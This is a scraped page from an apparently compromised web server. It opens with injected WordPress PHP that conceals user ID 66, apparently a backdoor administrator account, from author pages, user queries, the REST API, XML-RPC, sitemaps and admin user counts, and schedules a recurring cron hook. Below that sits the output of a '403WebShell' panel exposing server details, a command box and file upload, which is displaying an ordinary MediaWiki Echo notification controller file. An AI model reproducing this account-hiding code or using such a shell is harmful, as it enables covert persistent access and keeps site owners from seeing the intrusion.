add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Echo/includes/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Echo/includes/Controller/NotificationController.php
<?php

namespace MediaWiki\Extension\Notifications\Controller;

use InvalidArgumentException;
use Iterator;
use MapCacheLRU;
use MediaWiki\Deferred\DeferredUpdates;
use MediaWiki\Extension\Notifications\AttributeManager;
use MediaWiki\Extension\Notifications\CachedList;
use MediaWiki\Extension\Notifications\ContainmentList;
use MediaWiki\Extension\Notifications\ContainmentSet;
use MediaWiki\Extension\Notifications\Hooks\HookRunner;
use MediaWiki\Extension\Notifications\Iterator\FilteredSequentialIterator;
use MediaWiki\Extension\Notifications\Jobs\NotificationDeleteJob;
use MediaWiki\Extension\Notifications\Jobs\NotificationJob;
use MediaWiki\Extension\Notifications\Model\Event;
use MediaWiki\Extension\Notifications\NotifUser;
use MediaWiki\Extension\Notifications\OnWikiList;
use MediaWiki\Extension\Notifications\Services;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MediaWikiServices;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
use MediaWiki\User\UserIdentity;
use Wikimedia\Rdbms\IDBAccessObject;

/**
 * This class represents the controller for notifications
 */
class NotificationController {

	/**
	 * Echo maximum number of users to cache
	 *
	 * @var int
	 */
	protected static $maxRecipientCacheSize = 200;

	/**
	 * Max number of users for which we in-process cache titles.
	 *
	 * @var int
	 */
	protected static $maxUsersTitleCacheSize = 200;

	/**
	 * Echo event agent per user blacklist
	 *
	 * @var MapCacheLRU
	 */
	protected static $blacklistByUser;

	/**
	 * Echo event agent per page linked event title mute list.
	 *
	 * @var MapCacheLRU
	 */
	protected static $mutedPageLinkedTitlesCache;

	/**
	 * Echo event agent per wiki blacklist
	 *
	 * @var ContainmentList|null
	 */
	protected static $wikiBlacklist;

	/**
	 * Echo event agent per user whitelist, this overwrites $blacklistByUser
	 *
	 * @var MapCacheLRU
	 */
	protected static $whitelistByUser;

	/**
	 * Returns the count passed in, or NotifUser::MAX_BADGE_COUNT + 1,
	 * whichever is less.
	 *
	 * @param int $count
	 * @return int Notification count, with ceiling applied
	 */
	public static function getCappedNotificationCount( int $count ): int {
		return min( $count, NotifUser::MAX_BADGE_COUNT + 1 );
	}

	/**
	 * Format the notification count as a string.  This should only be used for an
	 * isolated string count, e.g. as displayed in personal tools or returned by the API.
	 *
	 * If using it in sentence context, pass the value from getCappedNotificationCount
	 * into a message and use PLURAL.  Example: notification-bundle-header-page-linked
	 *
	 * @param int $count Notification count
	 * @return string Formatted count, after applying cap then formatting to string
	 */
	public static function formatNotificationCount( $count ) {
		$cappedCount = self::getCappedNotificationCount( $count );

		return wfMessage( 'echo-badge-count' )->numParams( $cappedCount )->text();
	}

	/**
	 * Processes notifications for a newly-created Event
	 *
	 * @param Event $event
	 * @param bool $defer Defer to job queue or not
	 */
	public static function notify( $event, $defer = true ) {
		// Defer to job queue if defer to job queue is requested and
		// this event should use job queue
		if ( $defer && $event->getUseJobQueue() ) {
			// defer job insertion till end of request when all primary db transactions
			// have been committed
			DeferredUpdates::addCallableUpdate( function () use ( $event ) {
				self::enqueueEvent( $event );
			} );

			return;
		}

		// Check if the event object has valid event type.  Events with invalid
		// event types left in the job queue should not be processed
		if ( !$event->isEnabledEvent() ) {
			return;
		}

		$type = $event->getType();
		$notifyTypes = self::getEventNotifyTypes( $type );
		$userIds = [];
		$userIdsCount = 0;
		$services = MediaWikiServices::getInstance();
		$hookRunner = new HookRunner( $services->getHookContainer() );
		$userOptionsLookup = $services->getUserOptionsLookup();
		/** @var bool|null $hasMinorRevision */
		$hasMinorRevision = null;
		/** @var User $user */
		foreach ( self::getUsersToNotifyForEvent( $event ) as $user ) {
			$userIds[$user->getId()] = $user->getId();
			$userNotifyTypes = $notifyTypes;
			// Respect the enotifminoredits preference
			// @todo should this be checked somewhere else?
			if ( !$userOptionsLookup->getOption( $user, 'enotifminoredits' ) ) {
				if ( $hasMinorRevision === null ) {
					// Do this only once per event
					$hasMinorRevision = self::hasMinorRevision( $event );
				}
				if ( $hasMinorRevision ) {
					$userNotifyTypes = array_diff( $userNotifyTypes, [ 'email' ] );
				}
			}
			$hookRunner->onEchoGetNotificationTypes( $user, $event, $userNotifyTypes );

			// types such as web, email, etc.
			foreach ( $userNotifyTypes as $deliveryType ) {
				self::doNotification( $event, $user, $deliveryType );
			}

			$userIdsCount++;
			// Process 1000 users per NotificationDeleteJob
			if ( $userIdsCount > 1000 ) {
				self::enqueueDeleteJob( $userIds, $event );
				$userIds = [];
				$userIdsCount = 0;
			}

			$stats = $services->getStatsFactory()->withComponent( 'Echo' );
			// TODO remove copyToStatsdAt once new dashboards are created, T359347
			$stats->getCounter( 'notifications_total' )
				->setLabel( 'notification_type', $type )
				->copyToStatsdAt( [ 'echo.notification.all' ] )
				->increment();
		}

		// process the userIds left in the array
		if ( $userIds ) {
			self::enqueueDeleteJob( $userIds, $event );
		}
	}

	/**
	 * Check if an event is associated with a minor revision.
	 *
	 * @param Event $event
	 * @return bool
	 */
	private static function hasMinorRevision( Event $event ) {
		$revId = $event->getExtraParam( 'revid' );
		if ( !$revId ) {
			return false;
		}

		$revisionStore = MediaWikiServices::getInstance()->getRevisionStore();
		$rev = $revisionStore->getRevisionById( $revId, IDBAccessObject::READ_LATEST );
		if ( !$rev ) {
			$logger = LoggerFactory::getInstance( 'Echo' );
			$logger->debug(
				'Notifying for event type \'{eventType}\'. Revision \'{revId}\' not found.',
				[
					'eventType' => $event->getType(),
					'revId' => $revId,
				]
			);
			return false;
		}

		return $rev->isMinor();
	}

	/**
	 * Schedule a job to check and delete older notifications
	 *
	 * @param int[] $userIds
	 * @param Event $event
	 */
	public static function enqueueDeleteJob( array $userIds, Event $event ) {
		// Do nothing if there is no user
		if ( !$userIds ) {
			return;
		}

		$jobQueueGroup = MediaWikiServices::getInstance()->getJobQueueGroup();
		$job = new NotificationDeleteJob(
			$event->getTitle() ?: Title::newMainPage(),
			[
				'userIds' => $userIds
			],
			$jobQueueGroup
		);
		$jobQueueGroup->push( $job );
	}

	/**
	 * Get the notify types for this event, eg, web/email
	 *
	 * @param string $eventType Event type
	 * @return string[] List of notify types that apply for
	 *  this event type
	 */
	public static function getEventNotifyTypes( $eventType ) {
		$attributeManager = Services::getInstance()->getAttributeManager();

		$category = $attributeManager->getNotificationCategory( $eventType );

		return array_keys( array_filter(
			$attributeManager->getNotifyTypeAvailabilityForCategory( $category )
		) );
	}

	/**
	 * Helper function to extract event task params
	 * @param Event $event
	 * @return array Event params
	 */
	public static function getEventParams( Event $event ) {
		$delay = $event->getExtraParam( 'delay' );
		$rootJobSignature = $event->getExtraParam( 'rootJobSignature' );
		$rootJobTimestamp = $event->getExtraParam( 'rootJobTimestamp' );

		$params = $event->getId()
			? [ 'eventId' => $event->getId() ]
			: [ 'eventData' => $event->toDbArray() ];
		return $params
			+ ( $delay ? [ 'jobReleaseTimestamp' => (int)wfTimestamp() + $delay ] : [] )
			+ ( $rootJobSignature ? [ 'rootJobSignature' => $rootJobSignature ] : [] )
			+ ( $rootJobTimestamp ? [ 'rootJobTimestamp' => $rootJobTimestamp ] : [] );
	}

	/**
	 * Push $event onto the mediawiki job queue
	 */
	public static function enqueueEvent( Event $event ) {
		$queue = MediaWikiServices::getInstance()->getJobQueueGroup();
		$params = self::getEventParams( $event );

		$job = new NotificationJob(
			$event->getTitle() ?: Title::newMainPage(), $params
		);

		if ( isset( $params[ 'jobReleaseTimestamp' ] ) && !$queue->get( $job->getType() )->delayedJobsEnabled() ) {
			$logger = LoggerFactory::getInstance( 'Echo' );
			$logger->warning(
				'Delayed jobs are not enabled. Skipping enqueuing event {id} of type {type}.',
				[
					'id' => $event->getId(),
					'type' => $event->getType()
				]
			);
			return;
		}

		$queue->push( $job );
	}

	/**
	 * Implements blacklist per active wiki expected to be initialized
	 * from InitializeSettings.php
	 *
	 * @param Event $event The event to test for exclusion
	 * @param User $user recipient of the notification for per-user blacklists
	 * @return bool True when the event agent is blacklisted
	 */
	public static function isBlacklistedByUser( Event $event, User $user ) {
		global $wgEchoAgentBlacklist, $wgEchoPerUserBlacklist;

		if ( !$event->getAgent() ) {
			return false;
		}

		// Ensure we have a list of blacklists
		if ( self::$blacklistByUser === null ) {
			self::$blacklistByUser = new MapCacheLRU( self::$maxRecipientCacheSize );
		}

		// Ensure we have a blacklist for the user
		if ( !self::$blacklistByUser->has( (string)$user->getId() ) ) {
			$blacklist = new ContainmentSet( $user );

			// Add the config setting
			$blacklist->addArray( $wgEchoAgentBlacklist );

			// Add wiki-wide blacklist
			$wikiBlacklist = self::getWikiBlacklist();
			if ( $wikiBlacklist !== null ) {
				$blacklist->add( $wikiBlacklist );
			}

			// Add to blacklist from user preference
			if ( $wgEchoPerUserBlacklist ) {
				$blacklist->addFromUserOption( 'echo-notifications-blacklist' );
			}

			// Add user's blacklist to dictionary if user wasn't already there
			self::$blacklistByUser->set( (string)$user->getId(), $blacklist );
		} else {
			// Just get the user's blacklist if it's already there
			$blacklist = self::$blacklistByUser->get( (string)$user->getId() );
		}
		return $blacklist->contains( $event->getAgent()->getName() ) ||
			( $wgEchoPerUserBlacklist &&
				$event->getType() === 'page-linked' &&
				self::isPageLinkedTitleMutedByUser( $event->getTitle(), $user ) );
	}

	/**
	 * Check if a title is in the user's page-linked event blacklist.
	 *
	 * @param Title $title
	 * @param User $user
	 * @return bool
	 */
	public static function isPageLinkedTitleMutedByUser( Title $title, User $user ) {
		if ( self::$mutedPageLinkedTitlesCache === null ) {
			self::$mutedPageLinkedTitlesCache = new MapCacheLRU( self::$maxUsersTitleCacheSize );
		}
		if ( !self::$mutedPageLinkedTitlesCache->has( (string)$user->getId() ) ) {
			$pageLinkedTitleMutedList = new ContainmentSet( $user );
			$pageLinkedTitleMutedList->addTitleIDsFromUserOption(
				'echo-notifications-page-linked-title-muted-list'
			);
			self::$mutedPageLinkedTitlesCache->set( (string)$user->getId(), $pageLinkedTitleMutedList );
		} else {
			$pageLinkedTitleMutedList = self::$mutedPageLinkedTitlesCache->get( (string)$user->getId() );
		}
		return $pageLinkedTitleMutedList->contains( (string)$title->getArticleID() );
	}

	/**
	 * @return ContainmentList|null
	 */
	protected static function getWikiBlacklist() {
		global $wgEchoOnWikiBlacklist;
		if ( !$wgEchoOnWikiBlacklist ) {
			return null;
		}
		if ( self::$wikiBlacklist === null ) {
			$clusterCache = MediaWikiServices::getInstance()->getMainWANObjectCache();
			self::$wikiBlacklist = new CachedList(
				$clusterCache,
				$clusterCache->makeKey( "echo_on_wiki_blacklist" ),
				new OnWikiList( NS_MEDIAWIKI, $wgEchoOnWikiBlacklist )
			);
		}

		return self::$wikiBlacklist;
	}

	/**
	 * Implements per-user whitelist sourced from a user wiki page
	 *
	 * @param Event $event The event to test for inclusion in whitelist
	 * @param User $user The user that owns the whitelist
	 * @return bool True when the event agent is in the user whitelist
	 */
	public static function isWhitelistedByUser( Event $event, User $user ) {
		$clusterCache = MediaWikiServices::getInstance()->getMainWANObjectCache();
		global $wgEchoPerUserWhitelistFormat;

		if ( $wgEchoPerUserWhitelistFormat === null || !$event->getAgent() ) {
			return false;
		}

		$userId = $user->getId();
		if ( $userId === 0 ) {
			// anonymous user
			return false;
		}

		// Ensure we have a list of whitelists
		if ( self::$whitelistByUser === null ) {
			self::$whitelistByUser = new MapCacheLRU( self::$maxRecipientCacheSize );
		}

		// Ensure we have a whitelist for the user
		if ( !self::$whitelistByUser->has( (string)$userId ) ) {
			$whitelist = new ContainmentSet( $user );
			self::$whitelistByUser->set( (string)$userId, $whitelist );
			$whitelist->addOnWiki(
				NS_USER,
				sprintf( $wgEchoPerUserWhitelistFormat, $user->getName() ),
				$clusterCache,
				$clusterCache->makeKey( "echo_on_wiki_whitelist_" . $userId )
			);
		} else {
			// Just get the user's whitelist
			$whitelist = self::$whitelistByUser->get( (string)$userId );
		}
		return $whitelist->contains( $event->getAgent()->getName() );
	}

	/**
	 * Processes a single notification for an Event
	 *
	 * @param Event $event
	 * @param User $user The user to be notified.
	 * @param string $type The type of notification delivery to process, e.g. 'email'.
	 */
	public static function doNotification( $event, $user, $type ) {
		global $wgEchoNotifiers;

		if ( !isset( $wgEchoNotifiers[$type] ) ) {
			throw new InvalidArgumentException( "Invalid notification type $type" );
		}

		// Don't send any notifications to anonymous users
		if ( !$user->isRegistered() ) {
			throw new InvalidArgumentException( "Cannot notify anonymous user: {$user->getName()}" );
		}

		( $wgEchoNotifiers[$type] )( $user, $event );
	}

	/**
	 * Returns an array each element of which is the result of a
	 * user-locator|user-filters attached to the event type.
	 *
	 * @param Event $event
	 * @param string $locator Either AttributeManager::ATTR_LOCATORS or AttributeManager::ATTR_FILTERS
	 * @return array
	 */
	public static function evaluateUserCallable( Event $event, $locator = AttributeManager::ATTR_LOCATORS ) {
		$attributeManager = Services::getInstance()->getAttributeManager();
		$type = $event->getType();
		$result = [];
		foreach ( $attributeManager->getUserCallable( $type, $locator ) as $callable ) {
			// locator options can be set per-event by using an array with
			// name as first parameter.
			if ( is_array( $callable ) ) {
				$options = $callable;
				$spliced = array_splice( $options, 0, 1, [ $event ] );
				$callable = reset( $spliced );
			} else {
				$options = [ $event ];
			}
			if ( is_callable( $callable ) ) {
				$result[] = $callable( ...$options );
			} else {
				wfDebugLog( __CLASS__, __FUNCTION__ . ": Invalid $locator returned for $type" );
			}
		}

		return $result;
	}

	/**
	 * Retrieves an array of User objects to be notified for an Event.
	 *
	 * @param Event $event
	 * @return Iterator<User>
	 */
	public static function getUsersToNotifyForEvent( Event $event ) {
		$notify = new FilteredSequentialIterator;
		foreach ( self::evaluateUserCallable( $event, AttributeManager::ATTR_LOCATORS ) as $users ) {
			$notify->add( $users );
		}

		// Hook for injecting more users.
		// @deprecated
		$users = [];
		( new HookRunner( MediaWikiServices::getInstance()->getHookContainer() ) )
			->onEchoGetDefaultNotifiedUsers( $event, $users );
		if ( $users ) {
			$notify->add( $users );
		}

		// Exclude certain users
		foreach ( self::evaluateUserCallable( $event, AttributeManager::ATTR_FILTERS ) as $users ) {
			// the result of the callback can be both an iterator or array
			$users = is_array( $users ) ? $users : iterator_to_array( $users );
			$notify->addFilter( static function ( UserIdentity $user ) use ( $users ) {
				// we need to check if $user is in $users, but they're not
				// guaranteed to be the same object, so I'll compare ids.
				$userId = $user->getId();
				$userIds = array_map( static function ( UserIdentity $user ) {
					return $user->getId();
				}, $users );
				return !in_array( $userId, $userIds );
			} );
		}

		// Filter non-User, anon and duplicate users
		$seen = [];
		$fname = __METHOD__;
		$notify->addFilter( static function ( $user ) use ( &$seen, $fname ) {
			if ( !$user instanceof User ) {
				wfDebugLog( $fname, 'Expected all User instances, received: ' .
					get_debug_type( $user )
				);

				return false;
			}
			if ( !$user->isRegistered() || isset( $seen[$user->getId()] ) ) {
				return false;
			}
			$seen[$user->getId()] = true;

			return true;
		} );

		// Don't notify the person who initiated the event unless the event allows it
		if ( !$event->canNotifyAgent() && $event->getAgent() ) {
			$agentId = $event->getAgent()->getId();
			$notify->addFilter( static function ( $user ) use ( $agentId ) {
				return $user->getId() != $agentId;
			} );
		}

		// Apply blacklists and whitelists.
		$notify->addFilter( function ( $user ) use ( $event ) {
			$title = $event->getTitle();

			if ( self::isBlacklistedByUser( $event, $user ) &&
				(
					$title === null ||
					!(
						// Still notify for posts on the user's talk page
						// (but not subpages, T288112)
						$title->getText() === $user->getName() &&
						$title->getNamespace() === NS_USER_TALK
					)
				)
			) {
				return self::isWhitelistedByUser( $event, $user );
			}

			return true;
		} );

		return $notify->getIterator();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit